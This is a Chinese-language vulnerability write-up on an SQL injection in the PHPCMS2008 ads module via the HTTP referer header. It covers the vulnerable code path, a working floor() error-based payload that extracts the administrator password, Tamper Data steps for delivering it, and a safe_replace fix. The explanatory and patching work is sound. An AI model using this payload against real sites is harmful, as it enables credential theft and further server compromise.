PHPCMS2008广告模板SQL注入漏洞修复

00 漏洞描述
PHPCMS2008由于广告模块取referer不严，导致一处sql注入漏洞.可以得到管理员用户名与密码，攻击者登录后台后可能会获取webshell，对服务器进行进一步的渗透。
01 漏洞分析
漏洞产生的位置：
/ads/include/ads_place.class.php的show方法中.

function show（$placeid）...if（$adses[0]["option"]）{foreach（$adses as $ads）{$contents[] = ads_content（$ads, 1）;$this->db->query（“INSERT INTO$this->stat_table（`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`）VALUES （‘$ads[adsid]","$_username","$ip",‘$this->referrer",‘$time",,"0"）”）;$template = $ads["template"] ? $ads["template"] : "ads";}}...

sql语句中

$this->db->query（“INSERT INTO$this->stat_table（`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`）VALUES （‘$ads[adsid]","$_username","$ip",‘$this->referrer",‘$time",,"0"）”）;

这里$this->referrer通过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。（这个this方法是PHPCMS里面直接封装的）。
所以现在已经找到漏洞点，下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的，比如只能管理员利用，那就相当的鸡肋了。
这里使用回溯的方法，看看哪些页面调用了它。
页面/ads/include/commom.inc.php

<?php ...require MOD_ROOT."include/ads_place.class.php";require MOD_ROOT."include/ads.class.php";...?>

在往上看看谁调用了/ads/include/commom.inc.php
/ads/ad.php文件中

<?php...require "./include/common.inc.php";...?>

ad.php文件为用户可控文件，但ad.php有时不能访问，继续向上查找/data/js.php

<?phpchdir（‘../ads/"）;require ‘./ad.php";?>

在用户访问首页时，会调用js.php，通过该文件可以提交有害字段，然后通过逐层调用，传入字段referer到危险方法show，引入SQL注入攻击。
02 漏洞利用
修改请求头中的referer字段的话有很多种，比如burpsuite，Tamper Data…
这里直接使用火狐的Tamper Data进行修改：
点击Start Tamper,然后访问http://your-addr/data/js.php?id=1
这时候Tamper Data会跳出来,在右边框内，点击右键，添加一个element值填写payload

referer=1", （SELECT 1 FROM （select count（*）, concat（floor（rand（0）*2）,char（45,45,45）,（SELECT password from phpcms_member limit 1））a from information_schema.tables group by a）b）, ‘0"）#

这里我解释一下：因为漏洞的sql语句是INSERT是不回显的，所以可以使用盲注，这里的payload使用的floor报错注入。floor报错注入原理请参考：floor函数用法
把这个payload带入sql语句中是：

$this->db->query（“INSERT INTO$this->stat_table（`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`）VALUES （‘$ads[adsid]","$_username","$ip",‘1",‘$time",（SELECT 1 FROM （select count（*）, concat（floor（rand（0）*2）,char（45,45,45）,（SELECT password from phpcms_member limit 1））a from information_schema.tables group by a）b）, ‘0"）#,"0"）”）;

03 漏洞修复
对相关字段进行过滤处理。

$referer = safe_replace（$this->referer）;$this->db->query（"INSERT INTO $this->stat_table （`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`） VALUES （"$ads[adsid]", "$_username", "$ip", "$referer", "$time", "0"）"）;$template = $ads["template"] ? $ads["template"] : "ads";

这里safe_replace是PHPCMS2008封装的过滤函数。
以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持！